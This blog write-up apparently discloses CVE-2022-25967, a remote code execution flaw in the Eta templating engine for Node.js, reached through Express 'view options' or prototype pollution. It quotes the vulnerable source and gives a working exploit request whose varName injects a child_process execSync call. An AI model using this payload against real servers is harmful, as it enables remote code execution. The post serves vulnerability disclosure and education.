In preparation for the HTB University CTF 2021 Finals, my colleagues and I at Hack The Box discovered a Remote Code Execution vulnerability in the Node.js templating engine ‘Eta’. The vulnerability was reported via Snyk and assigned CVE-2022-25967. This blog post covers a short technical write-up of this vulnerability.
Inspired by the following GitHub Advisory about Remote code execution in Ejs, we decided to take a look at other NodeJS templating engine libraries. We found Eta, which has about ~260k+ weekly downloads.
As per their readme, Eta’s syntax is very similar to EJS and shares the same file-handling logic. The issue discovered in Eta is also very similar, as Eta also allows template engine configuration options to be passed through Express render API as defined in the file-handlers.ts file:
// If there is a config object passed in explicitly, use it
if (typeof config === 'object') {
renderConfig = getConfig((config as PartialConfig) || {}) as EtaConfigWithFilename
} else {
// Otherwise, get the config from the data object
// And then grab some config options from data.settings
// Which is where Express sometimes stores them
renderConfig = getConfig(data as PartialConfig) as EtaConfigWithFilename
if (data.settings) {
// Pull a few things from known locations
if (data.settings.views) {
renderConfig.views = data.settings.views
}
if (data.settings['view cache']) {
renderConfig.cache = true
}
// Undocumented after Express 2, but still usable, esp. for
// items that are unsafe to be passed along with data, like `root`
const viewOpts = data.settings['view options']
if (viewOpts) {
copyProps(renderConfig, viewOpts)
}
}
}
The renderConfig
object is utilized for template engine configuration by the compileToString
function as defined in the compile-string.ts file:
export default function compileToString(str: string, config: EtaConfig): string {
const buffer: Array<AstObject> = Parse(str, config)
let res =
"var tR='',__l,__lP" +
(config.include ? ',include=E.include.bind(E)' : '') +
(config.includeFile ? ',includeFile=E.includeFile.bind(E)' : '') +
'\nfunction layout(p,d){__l=p;__lP=d}\n' +
(config.useWith ? 'with(' + config.varName + '||{}){' : '') +
compileScope(buffer, config) +
(config.includeFile
? 'if(__l)tR=' +
(config.async ? 'await ' : '') +
`includeFile(__l,Object.assign(${config.varName},{body:tR},__lP))\n`
: config.include
? 'if(__l)tR=' +
(config.async ? 'await ' : '') +
`include(__l,Object.assign(${config.varName},{body:tR},__lP))\n`
: '') +
'if(cb){cb(null,tR)} return tR' +
(config.useWith ? '}' : '')
if (config.plugins) {
for (let i = 0; i < config.plugins.length; i++) {
const plugin = config.plugins[i]
if (plugin.processFnString) {
res = plugin.processFnString(res, config)
}
}
}
return res
}
By overwriting the varName
, include
, includeFile
, and useWith
variables, we can simplify the anonymous function generated by the compileToString function to inject arbitrary JavaScript code on varName
for Remote Code Execution:
{
"varName":"INJECTED_JS_FUNCTION_CALL()",
"include" : false,
"includeFile": false,
"useWith": true
}
The resultant anonymous function generated with the above configuration variables is as follows:
(function anonymous(x=INJECTED_JS_FUNCTION_CALL(),E,cb
) {
var tR='',__l,__lP
function layout(p,d){__l=p;__lP=d}
with(x=INJECTED_JS_FUNCTION_CALL()||{}){tR+='template file content here'
if(cb){cb(null,tR)} return tR}
})
An attacker can leverage the issue provided a Server-Side Prototype Pollution exists or user-controlled data is supplied to the settings
key in the data object in Express render API. A vulnerable Express endpoint may look like the following:
router.post('/settings', (req, res) => {
const userConfig = req.body;
return res.render('settings.eta', {settings: userConfig});
});
The above endpoint can be exploited by supplying the following HTTP request to achieve RCE:
POST /settings HTTP/1.1
Host: localhost:8001
Content-Type: application/json
Content-Length: 219
{
"view options": {
"varName": "x=process.mainModule.require('child_process').execSync('touch /tmp/test.txt')",
"include" : false,
"includeFile": false,
"useWith": true
}
}
Coincidentally, I later stumbled upon the blog post Finding Prototype Pollution gadgets with CodeQL by Jorgectf and found this vulnerability was also discovered with CodeQL as a Server-Side Prototype Pollution gadget vector.
A special kudos to Makelaris and Makelaris jr. from Hack The Box for their help in discovering this vulnerability.
9c8e426
/src/compile-string.ts#L219c8e426
/src/file-handlers.ts#L182nodejs
eta
templating-engine
remote-code-execution
rce
snyk
cve-2022-25967
prototype-pollution
express
web
]